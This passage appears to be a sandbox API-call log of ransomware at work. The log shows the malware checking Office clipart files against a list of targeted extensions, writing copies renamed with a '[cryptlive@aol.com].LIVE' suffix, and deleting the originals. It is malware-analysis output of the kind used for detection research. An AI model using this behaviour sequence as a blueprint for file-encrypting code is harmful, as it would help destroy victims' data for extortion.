dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.508] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.508] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.508] GetLastError () returned 0x0 [0149.508] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0149.517] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0149.518] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.518] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.519] SetEndOfFile (hFile=0x384) returned 1 [0149.519] CloseHandle (hObject=0x384) returned 1 [0149.519] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.519] SetEndOfFile (hFile=0x380) returned 1 [0149.521] CloseHandle (hObject=0x380) returned 1 [0149.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0149.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.522] lstrlenW (lpString=".doc") returned 4 [0149.522] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.522] lstrlenW (lpString=".docx") returned 5 [0149.522] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0149.522] lstrlenW (lpString=".pdf") returned 4 [0149.522] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.522] lstrlenW (lpString=".xls") returned 4 [0149.522] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.522] lstrlenW (lpString=".xlsx") returned 5 [0149.522] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0149.523] lstrlenW (lpString=".ppt") returned 4 [0149.523] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".zip") returned 4 [0149.523] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString=".rar") returned 4 [0149.523] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString=".bz2") returned 4 [0149.523] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.523] lstrlenW (lpString=".7z") returned 3 [0149.523] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".dbf") returned 4 [0149.523] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".1cd") returned 4 [0149.523] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".jpg") returned 4 [0149.523] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".doc") returned 4 [0149.523] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.523] lstrlenW (lpString=".docx") returned 5 [0149.523] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0149.523] lstrlenW (lpString=".pdf") returned 4 [0149.523] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString=".xls") returned 4 [0149.523] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString=".xlsx") returned 5 [0149.523] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0149.523] lstrlenW (lpString=".ppt") returned 4 [0149.523] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.523] lstrlenW (lpString=".zip") returned 4 [0149.524] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.524] lstrlenW (lpString=".rar") returned 4 [0149.524] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.524] lstrlenW (lpString=".bz2") returned 4 [0149.524] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.524] lstrlenW (lpString=".7z") returned 3 [0149.524] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.524] lstrlenW (lpString=".dbf") returned 4 [0149.524] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.524] lstrlenW (lpString=".1cd") returned 4 [0149.524] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0149.524] lstrlenW (lpString=".jpg") returned 4 [0149.524] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.524] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.524] lstrlenW (lpString="J0099191.JPG") returned 12 [0149.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.537] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=62367) returned 1 [0149.537] CloseHandle (hObject=0x380) returned 1 [0149.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0149.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.537] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.537] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.538] GetLastError () returned 0x0 [0149.538] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xf39f, lpOverlapped=0x0) returned 1 [0149.542] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf3a0, lpOverlapped=0x0) returned 1 [0149.544] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.544] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.544] SetEndOfFile (hFile=0x384) returned 1 [0149.544] CloseHandle (hObject=0x384) returned 1 [0149.544] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.544] SetEndOfFile (hFile=0x380) returned 1 [0149.550] CloseHandle (hObject=0x380) returned 1 [0149.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0149.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.553] lstrlenW (lpString=".doc") returned 4 [0149.553] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.553] lstrlenW (lpString=".docx") returned 5 [0149.553] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0149.553] lstrlenW (lpString=".pdf") returned 4 [0149.553] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.553] lstrlenW (lpString=".xls") returned 4 [0149.553] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.553] lstrlenW (lpString=".xlsx") returned 5 [0149.553] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0149.553] lstrlenW (lpString=".ppt") returned 4 [0149.554] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".zip") returned 4 [0149.554] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString=".rar") returned 4 [0149.554] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString=".bz2") returned 4 [0149.554] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.554] lstrlenW (lpString=".7z") returned 3 [0149.554] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".dbf") returned 4 [0149.554] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".1cd") returned 4 [0149.554] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".jpg") returned 4 [0149.554] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".doc") returned 4 [0149.554] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.554] lstrlenW (lpString=".docx") returned 5 [0149.554] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0149.554] lstrlenW (lpString=".pdf") returned 4 [0149.554] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString=".xls") returned 4 [0149.554] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString=".xlsx") returned 5 [0149.554] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0149.554] lstrlenW (lpString=".ppt") returned 4 [0149.554] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.554] lstrlenW (lpString=".zip") returned 4 [0149.555] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.555] lstrlenW (lpString=".rar") returned 4 [0149.555] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.555] lstrlenW (lpString=".bz2") returned 4 [0149.555] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.555] lstrlenW (lpString=".7z") returned 3 [0149.555] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.555] lstrlenW (lpString=".dbf") returned 4 [0149.555] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.555] lstrlenW (lpString=".1cd") returned 4 [0149.555] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0149.555] lstrlenW (lpString=".jpg") returned 4 [0149.555] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.555] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.555] lstrlenW (lpString="J0099192.GIF") returned 12 [0149.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.556] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=17964) returned 1 [0149.556] CloseHandle (hObject=0x380) returned 1 [0149.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0149.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.556] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.556] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.557] GetLastError () returned 0x0 [0149.557] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x462c, lpOverlapped=0x0) returned 1 [0149.755] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0149.757] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.757] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.757] SetEndOfFile (hFile=0x384) returned 1 [0149.847] CloseHandle (hObject=0x384) returned 1 [0149.847] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.847] SetEndOfFile (hFile=0x380) returned 1 [0149.850] CloseHandle (hObject=0x380) returned 1 [0149.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0149.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.876] lstrlenW (lpString=".doc") returned 4 [0149.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.876] lstrlenW (lpString=".docx") returned 5 [0149.876] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0149.876] lstrlenW (lpString=".pdf") returned 4 [0149.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.876] lstrlenW (lpString=".xls") returned 4 [0149.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.876] lstrlenW (lpString=".xlsx") returned 5 [0149.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0149.876] lstrlenW (lpString=".ppt") returned 4 [0149.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.876] lstrlenW (lpString=".zip") returned 4 [0149.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.876] lstrlenW (lpString=".rar") returned 4 [0149.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.876] lstrlenW (lpString=".bz2") returned 4 [0149.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.877] lstrlenW (lpString=".7z") returned 3 [0149.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString=".dbf") returned 4 [0149.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString=".1cd") returned 4 [0149.877] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString=".jpg") returned 4 [0149.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString=".doc") returned 4 [0149.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.877] lstrlenW (lpString=".docx") returned 5 [0149.877] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0149.877] lstrlenW (lpString=".pdf") returned 4 [0149.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString=".xls") returned 4 [0149.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString=".xlsx") returned 5 [0149.877] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0149.877] lstrlenW (lpString=".ppt") returned 4 [0149.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.877] lstrlenW (lpString=".zip") returned 4 [0149.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString=".rar") returned 4 [0149.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.877] lstrlenW (lpString=".bz2") returned 4 [0149.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.878] lstrlenW (lpString=".7z") returned 3 [0149.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.878] lstrlenW (lpString=".dbf") returned 4 [0149.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.878] lstrlenW (lpString=".1cd") returned 4 [0149.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0149.878] lstrlenW (lpString=".jpg") returned 4 [0149.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.878] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.878] lstrlenW (lpString="J0099199.GIF") returned 12 [0149.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.878] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=33975) returned 1 [0149.879] CloseHandle (hObject=0x3a0) returned 1 [0149.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0149.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.879] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.879] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 